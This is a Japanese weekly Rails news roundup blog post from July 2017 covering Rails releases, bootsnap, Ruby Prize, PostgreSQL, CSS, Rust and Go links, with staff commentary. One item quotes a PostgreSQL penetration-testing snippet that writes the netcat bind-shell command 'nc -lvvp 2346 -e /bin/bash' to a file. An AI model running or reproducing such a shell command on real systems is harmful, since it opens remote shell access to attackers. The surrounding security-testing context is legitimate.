- 開発
週刊Railsウォッチ(20170728)bootsnapがRailsで正式採用、Ruby Prizeの推薦開始、PostgreSQL配列の重複を除去ほか
こんにちは、hachi8833です。南極の氷が増えているのか減っているのか、だんだんよくわからなくなってきました。
7月最後のRailsウォッチ、いってみましょう。
Rails 5.1.3rc2と5.0.5rc2がリリース(Rails公式ニュースより)
- Changelog: v5.1.2...v5.1.3.rc2
- Changelog: v5.0.4...v5.0.5.rc2
つっつきボイス: 「バグフィックスが中心だろうし、正式版来たらアップグレードするかな」「先週rc1リリースから早くもrc2です」「そういえばRubyコミュニティには、rcいくつまでをどういうタイミングで出すみたいな目安ってあるんだろうか」
Ruby Prize 2017の推薦開始
Nominate RubyPrize winner.
link: Ruby Prize 2017 Recommendation Form <<Due date August 31th 24:00 (JST) >>: https://t.co/I5Tcy6yDpy— Yukihiro Matsumoto (@yukihiro_matz) 2017年7月25日
つっつきボイス: 「Ruby Prize 2017は毎年Ruby World Conferenceの場で発表されていますね」「Ruby Prizeはソフトウェアや企業ではなく、個人を対象にした賞であるところが特徴」「(今さら要項を見て)ほんとだ」
「社内では毎年話してる気がするんだけど、こういう個人向けの賞が長年運用されているところがRuby界隈のコミュニティのいいところだなーと思ってます」「確かに他の言語ではこういうのあまり見ないかも」「contributeする個人に陽のあたる場所を提供する場というのは本当に大事」「何も見ずに言うけど、昨年の受賞者にたしかOpenSSL bindingをひたすらアップデートした学生さんがいたんじゃなかったかな: こういう地味な作業って普通はあまり表に出てこない」
「OpenSSLのアップデートってバグか何か?」「いやいや、元のAPIがガラッと変わってbindingがほぼ書き直しを迫られたということ」
賞が欲しくてcontributeする人はあまりいないと思いますが、そういう人たちに報いる場があることで張り合いが出るのはいいですね。
TechRachoを1年近くやってて痛感していますが、ポジティブフィードバックってめったに当事者には伝わりません。いいと思ってくれる人は何も発しないことがほとんどなので。
というわけで、皆さまもがんがんRuby Prizeに推薦を送ってあげてください。
良いものには良いと言いましょう、というお話 pic.twitter.com/14ts1M7s3I
— Extrose@8/26 #tb2bn (@extrose_xinei) 2017年2月7日
↑もうちょっと小さくしたいんだけどなこれ。
Rails: 今週の改修(Rails公式ニュースより)
新機能: bootsnap gemがRails標準に
以前のRailsウォッチでご紹介したy-yagiさんの予想どおりになりました。
# Gemfile
+# for railties app_generator_test
+gem "bootsnap", ">= 1.1.0", require: false
つっつきボイス: 「おー、Railsに組み込むのかと思ったらgemのまま取り込まれたのか」「bootsnap
ってどうしてもbootstrap
に見えてしまってw」
改修: rails dbconsole
コマンドでの環境指定で-e
が必須になった
+ Previously:
+ $ bin/rails dbconsole production
+ Now:
+ $ bin/rails dbconsole -e production
つっつきボイス: 「たしかにこういうのはオプション付きで指定するほうがいいかも」
修正: カスタムのテーブルエイリアス名でのwhere
の挙動
kamipoさんの修正です。SELECT
句でカスタムのテーブルエイリアス名を使えるように修正されました。
# activerecord/lib/active_record/relation/query_methods.rb
if select_values.any?
arel.project(*arel_columns(select_values.uniq))
else
- arel.project(@klass.arel_table[Arel.star])
+ arel.project(table[Arel.star])
end
end
つっつきボイス: 「(ドラフトを眺めて)custom table alias nameって、『カスタムテーブルのエイリアス名』じゃなくて『カスタムのテーブルエイリアス名』じゃないかな?」「おっと失礼しました: 英語って助詞がないからこういう区切りってわかってる人じゃないとパースしづらいですね」「まあそれは日本語もそうですけどね」
「情報処理安全確保支援士合格者御一行様歓迎列車到着遅延見込」や「東京大学理学部地質学鉱物学教室施設定例保守点検実施中止経過報告」みたいに漢字だらけだと、外国人でなくてもつらそうです。メソッドチェーンでこんなのやったらMR通らなさそう。
参考: Wikipedia-ja 般若心経
修正: エンコードエラーのメッセージに表示される無効なUTF-8文字をscrub
するようにした
無効な文字のせいでCIがコケることがあったそうです。
# actionpack/lib/action_dispatch/request/utils.rb
unless params.valid_encoding?
# Raise Rack::Utils::InvalidParameterError for consistency with Rack.
# ActionDispatch::Request#GET will re-raise as a BadRequest error.
- raise Rack::Utils::InvalidParameterError, "Non UTF-8 value: #{params}"
+ raise Rack::Utils::InvalidParameterError, "Invalid encoding for parameter: #{params.scrub}"
end
end
end
つっつきボイス: 「こういう修正は地味にありがたいかも」
self が不正なバイト列を含む場合に別の文字列に置き換えた新しい文字列を返します。
不正なバイト列を置き換える文字列を指定します。省略した場合は self の文字エンコーディングが Encoding::UTF_16BE, Encoding::UTF_16LE, Encoding::UTF_32BE, Encoding::UTF_32LE, Encoding::UTF_8 のいずれか の場合は "\uFFFD" を表す文字で、それ以外の場合は "?" で置き換えられます。ブロックが指定された場合は不正なバイト列はブロックの戻り値で置き換えられます。
Ruby リファレンスマニュアル: instance method String#scrubより
つっつきボイス: 「ところで、invalidは「不正な」と訳されることが多いんですが↑、私はvalid/invalidは『有効な』『無効な』って訳すようにしてます」「言われてみれば、技術用語のinvalidって『不正送金』みたいな違法なニュアンスは全然ないはずだから、『有効/無効』の方が的確だなー」「実は某社の翻訳スタイルガイドにそういう指示があったのでしたw」
改修: rails yarn:install
によるリビルドをproductionだけに限定
開発中にyarn install
するたびにネイティブパッケージがリビルドされて時間がかかっていたのが修正されました。
# railties/lib/rails/tasks/yarn.rake
namespace :yarn do
desc "Install all JavaScript dependencies as specified via Yarn"
task :install do
- system("./bin/yarn install --no-progress")
+ system("./bin/yarn install --no-progress --production")
end
end
yarn install
呼び出しのたびにネイティブパッケージがリビルドされます(yarnpkg/yarn#932)。私たちのところでカスタムフォントをビルドするためにdevDependencies
でnodeのネイティブパッケージを使ったところ、それまで2秒で済んだデプロイがリビルドのせいで30秒以上かかるようになってしまいました。Railsではassets:precompile
の前にyarn:install
が使われますが、このパッチをあてるとdev dependencyが無視されるようになります。bin/yarn
を実行すれば従来どおりすべてがインストールされます。
とりあえず問題を回避したい場合:bin/yarn
を以下のように更新してください。
# ...
begin
no_dev = %w[production staging].include?(ENV['RAILS_ENV'])
exec "yarnpkg #{ARGV.join(' ')} #{'--prod' if no_dev}"
# 29851より
RailsアプリにSalesforce APIを統合する(RubyFlowより)
restforceというgemを使ってSalesforceのAPIを使えるようにする記事です。
つっつきボイス: 「ぱっとタイトルだけ見たとき、Salesforceが自社APIをRailsアプリ化したのかと思っちゃいました」「んなこたーないw」「まあ、よくある記事ではある」
Clojureのinterpose
をRubyで実装したった(RubyFlowより)
Clojureのinterpose
をRubyでも使いたくて実装したのだそうです。
# bcobb.netより
{one: 1, two: 2, three: 3}.interpose(:sep).to_a
# [[:one, 1], :sep, [:two, 2], :sep, [:three, 3]]
StringIO.new("line one\nline two\nline 3\n").interpose("|").to_a
# ["line one\n", "|", "line two\n", "|", "line 3\n"]
つっつきボイス: 「Clojureのこのinterpose
って、配列要素の間に挿入するってことか」「Rubyならもっとスマートに書く方法がありそうな気がして仕方がない」「これが便利なものならActiveSupportあたりにありそうなものだけど、見当たらないということは...w」
interpose:
{他動-1} : 〜を間に入れる[置く]
{他動-2} : 〔他の人が話をしているときに言葉・質問・意義などを〕差し挟む
Clojureって、ついClosureと打ち間違えてしまいます(打ち間違えました)。
HerokuでDBサーバーの負荷を80%軽減した
$ heroku pg:outliers
total_exec_time | prop_exec_time | ncalls | sync_io_time | query
------------------+----------------+-------------+------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3790:50:52.62102 | 80.2% | 100,727,265 | 727:08:40.969477 | SELECT ? AS one FROM "repos" WHERE LOWER("repos"."name") = LOWER($1) AND ("repos"."id" != $2) AND "repos"."user_name" = $3 LIMIT $4
493:04:18.903353 | 10.4% | 101,625,003 | 52:09:48.599802 | SELECT COUNT(*) FROM "issues" WHERE "issues"."repo_id" = $1 AND "issues"."state" = $2
つっつきボイス: 「うん、新しい話は何もないw」「そっかなーと思ったらやっぱりそうでしたか」「記事の問題じゃなくて、そもそもパフォーマンスチューニングってそういうものです: 地道な作業の積み重ねなので」
Autoprefixer CSS online: Autoprefixerの更新がつらい人向けのサービス
社内Slackからです。
つっつきボイス: 「vendor prefixとかイヤやーw: Railsならcompass使えばいいんではないかと」「vendor prefixってホントその場しのぎの技術ですねw」
Screencast: Codemy.netの「Rails APIシリーズ」(RubyFlowより)
Railscastsが開拓して以来(英語圏では)過熱が続くscreencast界にまた名乗りを上げてきたサイトです。思ったより動画がたくさんあります。APIサーバーに絞っているようですが、ひととおりカバーしている様子。
最初の動画が半年前の公開なのでかなり新しい方ではあります。
つっつきボイス: 「サムネイル画像が同じすぎてわかりにくいのー」「(ひとつ開いてみて)あー、transcript(文字起こし)が全然ないwこれはアカンなー: 動画の垂れ流しサイト観るのはよっぽど暇なときぐらいしか考えられないし」「5分の動画でも5分かけて見る気にはなれないですねー」「フィードバックしときます」
そういえば日本ではscreencastってさっぱり見かけませんね。別にいいんですが。
そこからCode Schoolのよさについての話題になりました。
つっつきボイス: 「Code Schoolの動画部分って見ます?」「見ないww: Code Schoolは動画より本編のできがずっといいので」「あのクォリティで本編作るのはそうそうできることじゃない、いやほんとに」
追記
たった今(日本時間で14時)Codemy.netに登録して「文字起こし、ほすいー」とチャットで伝えたところ、こんな時間なのに即レスがありました。
フィードバックありがとう! 実は今のサイトで文字起こしを置けないとかいろいろ制約があって困っていたので、サイト引越しの準備しているところ
というわけで今後に期待したいと思います。クレーム口調でない、改善につながるフィードバックを送ると、どこでも本当に喜んでもらえますね。
ベンチマーク結果をRubyでかっこよくグラフ化
gruff gemを使っています。
つっつきボイス: 「PythonにはCIのベンチマーク結果を継続的に掲載している公式のspeed.python.orgがあるんですが、Rubyにもそういう継続的なベンチサイトってありましたっけ?」「どうだったかなー、MRIやJRubyやmrubyといった実装ごとにベンチを比較するサイトならあったような気がするんだけど」
ざっとぐぐった限りではそれらしいものは見当たらず、そこからgraphという言葉についての話題になりました。
つっつきボイス: 「この記事でgraphという言葉を使っているのがすごく珍しいと思う」「あ、確かに: 技術英語サイトでは普通こういうのってchartって書きますよね」「graphっていうとグラフ理論の方を指す感じ」「そうそう、有向グラフとか」「もしかするとアメリカ英語とイギリス英語の違い?」
と思ってその場で各種辞書を繰ってみたのですが、意外にも辞書・シソーラスともに米英の違いがなく、「graphの類義語がchart」とのことでした。
つっつきボイス: 「chartとgraphってどう使い分けるんだろうw 謎」「謎」
日本語で言うとさしずめ「図」と「画像」ぐらいの違いなのかなと、何となく想像してしまいました。
Officetxt gem: 英語圏のフリーライター向けコマンドツール集(RubyFlowより)
これ自体は★は少ないですが、ツールの中でWordをMarkdownに変換するword-to-markdownというgem(★800個近く)が気になりました。日本語とおるでしょうか。
LibreOfficeが必要だそうです。
gem install word-to-markdown
file = WordToMarkdown.new("/path/to/document.docx")
=> <WordToMarkdown path="/path/to/document.docx">
file.to_s
=> "# Test\n\n This is a test"
file.document.tree
=> <Nokogiri Document>
つっつきボイス: 「単独のテキストツールじゃなくていろんなツール(gem)を一発でインストールするのか」「docxはxmlだからできそうダナ」
Deviseでユーザーを無効にする(RubyFlowより)
短い記事です。
# https://blog.kodius.io/2017/07/26/how-to-deactivate-user-rails-with-devise/ より
class AddDeactivatedToUsers < ActiveRecord::Migration
def change
add_column :users, :deactivated, :bool
end
end
# user.rb
def destroy
update_attributes(deactivated: true) unless deactivated
end
def active_for_authentication?
super && !deactivated
end
つっつきボイス: 「lockableでやればよさそうだけど、どうしてもカスタマイズしないといけない事情があったのかな」「こうやってフラグ立てるのってあんまりよくなさそうですね」「必ずしもそうとは限らない: 認証システムをカスタマイズ一切なしで導入できる状況って現実にはほとんどないんですよ」「うーむ」
参考: Devise Wikiシリーズ総もくじ: アカウント削除後のUserデータを保存する(論理削除)
補足
Stack Overflowには「Deviseのactive_for_authentication
でできた」「認証(authentication)ではなく承認(authorization)でやるべき」などの情報もありました。
プレゼン「TC39、ECMAScript、JavaScriptの未来」
中国の深セン経済特区で今年6月に開催されたTFC: Tencent Frontend Conferenceのプレゼンです。
frontendが中国語で前端って書かれてるところにほだされて、つい拾ってしまいました。ECMAScriptsの最新プロポーザルが多数紹介されています。
# tfc.alloyteam.comより
[1, 2].indexOf(2) !== -1 // true
[1, 2].indexOf(3) !== -1 // false
[1, 2].includes(2) // true
[1, 2].includes(3) // false
つっつきボイス: 「TC39って何だろ」「(ググって)あー、ECMAの分科会か」「マジェスティックトゥエルブみたいw」
dnsimple.com: ドメイン管理アプリ
require "dnsimple"
client = Dnsimple::Client.new(access_token: "abc123")
# Define an account id
account_id = 1010
# List your domains
puts client.domains.list_domains(account_id).data
# Create a domain
response = client.domains.create_domain(account_id, name: "example.com")
# Get a domain
response = client.domains.domain(account_id, "example.com")
puts response.data
同社のブログによるとHanamiで構築されているそうです。
つっつきボイス: 「こういうサービスってインフラエンジニア的にはどうでしょう?」「いろいろ機能はあるみたいだけど、AWSのRoute53使えばええやんw」
PostgreSQL
PostgreSQLのペネトレーションテストガイド
# medium.com/@cryptocracker99 より
postgres=# CREATE TABLE pentestlab (t TEXT);
postgres=# INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
postgres=# SELECT * FROM pentestlab;
postgres=# COPY pentestlab(t) TO '/tmp/pentestlab';
つっつきボイス: 「ペネトレーションテストっていわゆる侵入テストですよね」「侵入テスト以外に、どこまでやったらサーバーが死ぬかを試すという意味のペネトレーションテストもあります」「これはどっちかな: nc
打ってるし、まさに侵入かけようとしてる」
PostgreSQLの配列から重複を取り除く
-- https://medium.com/the-falconry より
SELECT
song_id,
UNNEST(STRING_TO_ARRAY(STRING_AGG(v.genre_list, ', '), ', ')) AS genre
FROM versions v
GROUP BY song_id
- 分野ごとに集約
UNNEST
で配列のネストを解除(↑上のコード)DISTINCT
が使えるようになる- 仕上げ
つっつきボイス: 「Rubyなら#flatten
して#uniq
するところをPostgreSQLでやってるのかー」
PostgreSQLのインデックス肥大化を探る
短い記事ですがよさげです。
# pgeoghegan.blogspot.jpより
level | l_item | blkno | btpo_flags | type | live_items | dead_items | avg_item_size | page_size | free_size | distinct_real_item_keys | highkey | distinct_block_pointers
-------+--------+-------+------------+------+------------+------------+---------------+-----------+-----------+-------------------------+---------+-------------------------
2 | 1 | 290 | 2 | r | 10 | 0 | 15 | 8192 | 7956 | 10 | | 10
1 | 1 | 3 | 0 | i | 285 | 0 | 15 | 8192 | 2456 | 284 | 103945 | 284
1 | 2 | 289 | 0 | i | 285 | 0 | 15 | 8192 | 2456 | 284 | 207889 | 284
1 | 3 | 575 | 0 | i | 285 | 0 | 15 | 8192 | 2456 | 284 | 311833 | 284
1 | 4 | 860 | 0 | i | 285 | 0 | 15 | 8192 | 2456 | 284 | 415777 | 284
1 | 5 | 1145 | 0 | i | 285 | 0 | 15 | 8192 | 2456 | 284 | 519721 | 284
1 | 6 | 1430 | 0 | i | 285 | 0 | 15 | 8192 | 2456 | 284 | 623665 | 284
1 | 7 | 1715 | 0 | i | 285 | 0 | 15 | 8192 | 2456 | 284 | 727609 | 284
1 | 8 | 2000 | 0 | i | 285 | 0 | 15 | 8192 | 2456 | 284 | 831553 | 284
1 | 9 | 2285 | 0 | i | 285 | 0 | 15 | 8192 | 2456 | 284 | 935497 | 284
1 | 10 | 2570 | 0 | i | 177 | 0 | 15 | 8192 | 4616 | 177 | | 177
0 | 1 | 1 | 1 | l | 367 | 0 | 16 | 8192 | 808 | 366 | 367 | 6
0 | 2 | 2 | 1 | l | 367 | 0 | 16 | 8192 | 808 | 366 | 733 | 6
0 | 3 | 4 | 1 | l | 367 | 0 | 16 | 8192 | 808 | 366 | 1099 | 6
...
0 | 2730 | 2741 | 1 | l | 367 | 0 | 16 | 8192 | 808 | 366 | 999181 | 6
0 | 2731 | 2742 | 1 | l | 367 | 0 | 16 | 8192 | 808 | 366 | 999547 | 6
0 | 2732 | 2743 | 1 | l | 367 | 0 | 16 | 8192 | 808 | 366 | 999913 | 6
0 | 2733 | 2744 | 1 | l | 88 | 0 | 16 | 8192 | 6388 | 88 | | 2
(2744 rows)
つっつきボイス: 「MySQLでは辛みも含めていろいろ経験積めたんで、そろそろPostgreSQLのインデックス周りの深いところもやってみるか」
CSS記事
margin
corruption問題の対処方法
良記事です。クイズも付いています。
[CSS Quiz] What would be the amount of space between two sibling divs, where the 1st has a margin-bottom of 10px and 2nd margin-top 30px?
— Ire Aderinokun (@ireaderinokun) 2017年6月27日
「margin corruption」は日本語に定訳がない感じで、「margin
が親要素に効いてしまう」「画像の下に謎の余白ができる」など完全にバラついているようです。
参考
- 【社内勉強会】特濃!CSS講座 #1: 入門の入門
- 【社内勉強会】特濃!CSS講座 #2: セレクタ、カスケード、継承をがっつり理解する
- BPSのCSS部筆頭のbabaさんによるCSS研究部もどうぞ。
CSS Variablesはこう扱え
madebymike.com.auより
CSS Variablesはカスタムプロパティとも呼ばれる、CSSのかなり新しい仕様です。
/* madebymike.com.au より*/
/* これは変数宣言 */
.thing {
--my-var: red;
}
/* これはプロパティ宣言 */
.thing {
background: var(--my-var);
}
つっつきボイス: 「(CanIUseを開きながら)IE対応なし、と↓」
オピニオン: Rustは「自動運転のC++」だ
短いのですぐ読み終わると思います。
実地のRustコードが見たかったので、この間のRailsウォッチで取り上げたdanielpclark/faster_pathから引用しようかなと思っていたところ「んー、このコードだとあんまりRustっぽくないっすねー」というツッコミがBPSアプリチームの方から聞こえてきたので、おすすめいただいたRustコードに差し替えました。
# https://github.com/BurntSushi/ripgrep/blob/master/src/worker.rs より
...
impl Worker {
/// Execute the worker with the given printer and work item.
///
/// A work item can either be stdin or a file path.
pub fn run<W: WriteColor>(
&mut self,
printer: &mut Printer<W>,
work: Work,
) -> u64 {
let result = match work {
Work::Stdin => {
let stdin = io::stdin();
let stdin = stdin.lock();
self.search(printer, Path::new("<stdin>"), stdin)
}
Work::DirEntry(dent) => {
let mut path = dent.path();
let file = match File::open(path) {
Ok(file) => file,
Err(err) => {
if !self.opts.no_messages {
eprintln!("{}: {}", path.display(), err);
}
return 0;
}
};
if let Some(p) = strip_prefix("./", path) {
path = p;
}
if self.opts.mmap {
self.search_mmap(printer, path, &file)
} else {
self.search(printer, path, file)
}
}
};
match result {
Ok(count) => {
count
}
Err(err) => {
if !self.opts.no_messages {
eprintln!("{}", err);
}
0
}
}
}
...
つっつきボイス: 「BurntSushiってなんちゅう名前w」「黒焦げw」「C++の有力な代替候補が不在の時期が長かったけど、Rustの隆盛で勢いづいてきたかな」
自動運転機能がなかった時代は人間が運転する以外の選択肢はありえませんでしたが、自動運転が普及して二世代も過ぎれば「えー!昔は人間が自動車を運転してたの!?それって危なくね?」となること請け合いですね。
参考: Wikipedia-ja: お猿の電車
書籍: XUnit Test Patterns
morimorihogeさんが以下の図を見つけてくれたときのサイトを辿って見つけました。「XUnit Test Patterns」の第二版で使われる予定の図だったようですが、第二版はまだ刊行されていないようです。
Go言語ではパッケージレベルの変数や関数内部での初期化を使わないこと
短いですが良記事です。関数に内部状態を埋め込むべきでない、と言われて反省しました。
// http://peter.bourgon.org/blog/2017/06/09/theory-of-modern-go.htmlより
func NewObject(n int) (*Object, error) {
row := dbconn.QueryRow("SELECT ... FROM ... WHERE ...")
var id string
if err := row.Scan(&id); err != nil {
logger.Log("during row scan: %v", err)
id = "default"
}
resource, err := pool.Request(n)
if err != nil {
return nil, err
}
return &Object{
id: id,
res: resource,
}, nil
}
つっつきボイス: 「文法がっちり固まってるはずのGo言語にもmodernとかあるのかww」「本家のコードでは、関数が返すエラーをok
っていう変数で受ける慣習があるんですが、あれだけはイヤですw」
ITエンジニアが健康を保つための5つのコツ: Rubyroid Labsの場合
Rubyroid Labsの方から直々にお知らせいただいた記事です。
- パソコンのモニタを見すぎない工夫をする
- フィジカルトレーニングを続ける
- タバコを控える
- ストレスをためない工夫をする
- 部屋にホコリをためない
つっつきボイス: 「面白すww」「病気の名前とか筋肉の部位みたいな名前の英語って実はほとんどわからなくってw: 腹筋って英語で何て言うんだっけというレベル」
AI同士が攻撃と防御に分かれて対決するコンテスト: セキュリティ研究の一環
つっつき後に見つけたMITテクノロジーレビューの記事です。kaggle.comによると、「対象を特定しない敵対的攻撃」「対象を特定する敵対的攻撃」「敵対的攻撃からの防御」部門で募集したAIたちが対決するコンテストを今年12月のNIPS 2017期間中に開催するそうです。
「対象を特定しない攻撃」というと軍事用語のゲリラ戦(遊撃戦)を連想してしまいました。
皆さまもどうかAIから敵認定されませんように。
ツイートより
そうでしょうね。あるいは4.0とか
— Yukihiro Matsumoto (@yukihiro_matz) 2017年7月27日
番外
Microsoftのニューラル翻訳サイト
右と左で違う訳が出てくるのですが、もしかすると一方がニューラル翻訳でもう一方が旧来の機械翻訳ではなかろうかと根拠もなく思ったりしました。それだけです。
Windowsのmspaint.exe
が終了
仮面ライダーシリーズ、次は「ビルド」
青い方が「オートリコンフ!」って言ったあと赤い方が「コンフィギャー!」って言って、両方が「メイク!」って言うと変身するって聞いてます。 / “新番組「仮面ライダービルド」9月3日(日)より放送スタート! | 東映[テレビ]” https://t.co/LUMak5iUd3
— Vim界の声の大きい人 (@mattn_jp) 2017年7月26日
今週は以上です。
バックナンバー(2017年度)
- 週刊Railsウォッチ(20170623)gemを見極める7つのコツ、mixinがよくない理由、重いページをrender_asyncで軽減ほか
- 週刊Railsウォッチ(20170616)railsdiff.orgはアップグレードに便利、RubyのDSLとかっこの省略、TerraformをRubyで制御ほか
- 週刊Railsウォッチ(20170609)ついにtherubyracerからmini_racerへ、注意しないとハマるgem、5.1でのVue.jsとTurbolinksの共存ほか
- 週刊Railsウォッチ(20170602)チームが喜ぶ19のgem、Bundler 1.15が高速化&機能追加、Deviseに挑戦する新認証gem「Rodauth」ほか
- 週刊Railsウォッチ(20170512)Rubyの不思議な挙動「シャドウイング」、コードレビュー作法を定めるDanger gemほか
- 週刊Railsウォッチ(20170428)Rails 6.xでの’#form_for’と
#form_tag
廃止決定のその後、deviseの5.1対応はこれから、ほか - 週刊Railsウォッチ(20170421)RailsConfが来週アリゾナで開催、コントローラを宣言的に書けるdecent_exposure gemほか
- 週刊Railsウォッチ(20170414)サーバーを危うくする1行のコード、PostgreSQL 10の新機能ほか
- 週刊Railsウォッチ(20170407)N+1問題解決のトレードオフ、Capybaraのテスト効率を上げる5つのコツほか
- 週刊Railsウォッチ(20170331)PostgreSQLの制約機能を使えるRein gemはビューも使えるほか
- 週刊Railsウォッチ(20170324)Ruby 2.4.1リリース、GAEがついにRubyに対応、このgemがないと生きていけない27選ほか
- 週刊Railsウォッチ(20170317)Railsパフォーマンスチューニング本、DBレコード存在チェックの最速メソッド、RubyのUnicode正規化ほか
- 週刊Railsウォッチ(20170310)クールなDocker監視ツールCtop、RailsがGoogle Summer of Code 2017に正式参加、Unicode 10.0.0ドラフト発表ほか
- 週刊Railsウォッチ(20170303)5.0.2正式リリース、メタプログラミングに懲りた話、bundler 1.12のバグ、すぐ試せるWebアノテーションほか
- 週刊Railsウォッチ(20170227)Rails 4.2.8リリース、SHA-1コリジョンアタック、便利なハッシュ変換ツールほか
- 週刊Railsウォッチ(20170217)Rails 4.2.8.rc2リリース、Ruby 2.4正規表現とActiveSupportのnormalizeほか
- 週刊Railsウォッチ(20170210)JRubyやRubiniusの配列への追加はスレッドセーフではないほか
- 週刊Railsウォッチ(20170203)AnyLogin gemで開発中に楽々再ログイン、イベント数ベース課金の監視サービスRollbarほか
- 週刊Railsウォッチ(20170127)わかりやすいAWSサービス名、Rails DBは便利、TruffleRubyの驚異的速度ほか
- 週刊Railsウォッチ(20170120)Ruby 2.5.0 devリリース、古いMySQLのサポート終了、uniqメソッドが削除ほか
- 週刊Railsウォッチ(20170116)Ruby 2.4の詳細、範囲指定したsumメソッドは速い、rescueの挙動を動的に変更ほか
- 週刊Railsウォッチ(20170110)ReactをRailsに置き換える、Ruby 2.4の新機能ほか
今週の主なニュースソース
ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。